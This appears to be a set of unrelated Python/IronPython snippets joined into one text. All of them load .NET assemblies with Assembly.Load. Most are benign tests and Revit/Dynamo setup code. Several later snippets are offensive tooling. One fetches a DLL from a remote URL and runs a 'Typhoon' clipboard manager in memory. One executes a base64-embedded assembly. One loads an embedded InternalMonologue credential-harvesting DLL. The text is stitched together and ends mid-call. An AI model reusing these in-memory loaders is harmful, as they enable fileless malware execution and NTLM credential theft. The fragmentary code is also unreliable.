def test_type(self): from System.Reflection import Assembly from System.Reflection.Emit import AssemblyBuilder mscorlib = Assembly.Load("mscorlib") self.assertTrue("Assembly" in repr(mscorlib)) self.assertGreaterEqual(len(dir(Assembly)), 75) self.assertGreaterEqual(len(dir(AssemblyBuilder)), 89)
def __imports__(self): """ DotNetDevice loads the DLL; importing in the class definition tries to load a lot of DLLs on import of ssmdevices, which would 1) break platforms that do not support the DLL, and 2) waste memory, and 3) """ if hasattr(self.__class__, '__dll__') and not hasattr(self, 'dll'): self.dll = self.__class__.__dll__ return if self.dll_name is None: raise Exception('Need file name of a dll binary') if self.library is None: raise Exception( 'Need the python module that shares the library path') try: import clr except ImportError as err: if str(err) == 'No module named clr': warnings.warn( 'could not import pythonnet support via clr module; no support for .NET drivers' ) return None else: raise err import os clr.setPreload(False) # CPython and .NET libraries: Are they friends? clr.AddReference('System.Reflection') from System.Reflection import Assembly import System # if libname is None: libname = os.path.splitext(os.path.basename(self.dll_name))[0] if hasattr(self.library, '__loader__'): """ If the python module is packaged as a .egg file, then use some introspection and the module's __loader__ to load the contents of the dll """ # relpath = module.__name__.replace('.', os.path.sep) self.dll_name = os.path.join(self.library.__path__[0], self.dll_name) contents = self.library.__loader__.get_data(self.dll_name) else: path = os.path.join(self.library.__path__[0], self.dll_name) with open(path, 'rb') as f: contents = f.read() name = System.Array[System.Byte](contents) self._dlls[self.dll_name] = Assembly.Load(name) self.dll = __import__(libname) try: self.__class__.__dll__ = self.dll except AttributeError: # Race condition =/ pass
def test_type(): mscorlib = Assembly.Load("mscorlib") Assert("Assembly" in repr(mscorlib)) if not is_net40: AreEqual(len(dir(Assembly)), 65) AreEqual(len(dir(AssemblyBuilder)), 78) else: AreEqual(len(dir(Assembly)), 71) AreEqual(len(dir(AssemblyBuilder)), 84)
def DynamoDocSetup(): # MIGHT BE USEFUL, KEEPING HERE FOR REFERENCE from System.Reflection import Assembly dynamo = Assembly.Load('DynamoCore') if dynamo: print(dynamo) print("This is in Dynamo") else: print("This is not Dynamo") # standard modules import clr import math import os import re import sys import System import traceback # RevitServices for Dynamo clr.AddReference("RevitServices") import RevitServices from RevitServices.Persistence import DocumentManager from RevitServices.Transactions import TransactionManager # Revit/Dynamo Nodes clr.AddReference("RevitNodes") import Revit clr.ImportExtensions(Revit.Elements) clr.ImportExtensions(Revit.GeometryConversion) # Dynamo Geometry nodes clr.AddReference("ProtoGeometry") from Autodesk.DesignScript.Geometry import * # Revit API clr.AddReference('RevitAPI') clr.AddReference('RevitAPIUI') import Autodesk from Autodesk.Revit.UI import * from Autodesk.Revit import DB import Autodesk.Revit.UI.Selection doc = DocumentManager.Instance.CurrentDBDocument uiapp = DocumentManager.Instance.CurrentUIApplication app = uiapp.Application uidoc = DocumentManager.Instance.CurrentUIApplication.ActiveUIDocument user = str(System.Environment.UserName) tol = 0.001 # transaction variables tStart = TransactionManager.Instance.EnsureInTransaction(doc) tEnd = TransactionManager.Instance.TransactionTaskDone() """
def test_type(self): from System.Reflection import Assembly from System.Reflection.Emit import AssemblyBuilder mscorlib = Assembly.Load("mscorlib") self.assertTrue("Assembly" in repr(mscorlib)) if is_mono: # Mono has another member self.assertEqual(len(dir(Assembly)), 76) else: self.assertEqual(len(dir(Assembly)), 75) if is_mono: # Mono has another member self.assertEqual(len(dir(AssemblyBuilder)), 90) else: self.assertEqual(len(dir(AssemblyBuilder)), 89)
def test_type(): mscorlib = Assembly.Load("mscorlib") Assert("Assembly" in repr(mscorlib)) if not is_net40: AreEqual(len(dir(Assembly)), 65) AreEqual(len(dir(AssemblyBuilder)), 78) else: if is_posix: # Mono has another member AreEqual(len(dir(Assembly)), 76) else: AreEqual(len(dir(Assembly)), 75) if is_posix: # Mono has another member AreEqual(len(dir(AssemblyBuilder)), 90) else: AreEqual(len(dir(AssemblyBuilder)), 89)
# from System.IO import Stream, StreamReader, MemoryStream, BinaryWriter, FileStream, File # from System.IO.Compression import ZipArchive, ZipArchiveMode ## Download a dll to memory from the remote endpoint, load it up in memroy with WebClient() as wc: ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 dll = wc.DownloadData("http://127.0.0.1:8000/tmpB1B9.dll") ## This is how we get .Net and Python typres from an object print(".Net Type: ", clr.GetClrType(type(dll)) ) print("Python Type: ", type(dll) ) from System.Reflection import Assembly # Byte loading assembly clr.AddReference(Assembly.Load(dll)) from Typhoon.Extensions import ClipboardManager cm = ClipboardManager() cm.RunCode() ## Load dll from file assemblyName="tmpC016.dll" #from System.Environment import CurrentDirectory #from System.IO import Path, Directory, File clr.AddReference(Assembly.Load(File.ReadAllBytes(assemblyName))) from Typhoon import DynamicDllImport DynamicDllImport("user32.dll", callingConvention: CallingConvention.Winapi);
from System.Reflection import Assembly from System.Text import Encoding from System import Array, Object, String, Convert, Console from System.IO import StreamWriter, MemoryStream encoded_assembly = "ASSEMBLY_BASE64" assembly = Assembly.Load(Convert.FromBase64String(encoded_assembly)) args = Array[Object]([Array[String](["ARGS"])]) # For some reason if we don't set the console output back to stdout after executing the assembly IronPython throws a fit orig_out = Console.Out orig_error = Console.Error with MemoryStream() as ms: with StreamWriter(ms) as sw: Console.SetOut(sw) Console.SetError(sw) assembly.EntryPoint.Invoke(None, args) sw.Flush() buffer = ms.ToArray() print Encoding.UTF8.GetString(buffer, 0, buffer.Length) Console.SetOut(orig_out) Console.SetError(orig_error)
import clr import time from System.Reflection import Assembly dynamoCore = Assembly.Load("DynamoCore") dynVersion = dynamoCore.GetName().Version.ToString() dynVersionInt = int(dynVersion[0]) * 10 + int(dynVersion[2]) class WorksharingLog: def __init__(self, version, sessions): self.Version = version self.Sessions = sessions self.SessionCount = len(sessions) self.ProcessingTime = None def __repr__(self): return "WorksharingLog" def AllSessionsUseSameBuild(self): return len(set([x.RevitBuild for x in self.Sessions])) == 1 def GetSessionByID(self, ID): sessionlookup = [x for x in sessions if x.ID == ID] if len(sessionlookup) > 0: return sessionlookup[0] else: return None class WorksharingSession: def __init__(self, id): self.ID = id
with MemoryStream(compressed.Length) as inputStream: inputStream.Write(compressed, 0, compressed.Length) inputStream.Seek(0, SeekOrigin.Begin) with MemoryStream() as outputStream: with DeflateStream(inputStream, CompressionMode.Decompress) as deflateStream: buffer = Array.CreateInstance(Byte, 4096) bytesRead = deflateStream.Read(buffer, 0, buffer.Length) outputStream.Write(buffer, 0, bytesRead) while bytesRead != 0: bytesRead = deflateStream.Read(buffer, 0, buffer.Length) outputStream.Write(buffer, 0, bytesRead) return outputStream.ToArray() assembly = Assembly.Load(Decompress(Convert.FromBase64String(InternalMonologueDLL))) clr.AddReference(assembly) from InternalMonologue.Class1 import Main orig_out = Console.Out orig_error = Console.Error with MemoryStream() as ms: with StreamWriter(ms) as sw: Console.SetOut(sw) Console.SetError(sw) Main(impersonate=, threads=, downgrade=, restore=, challenge=,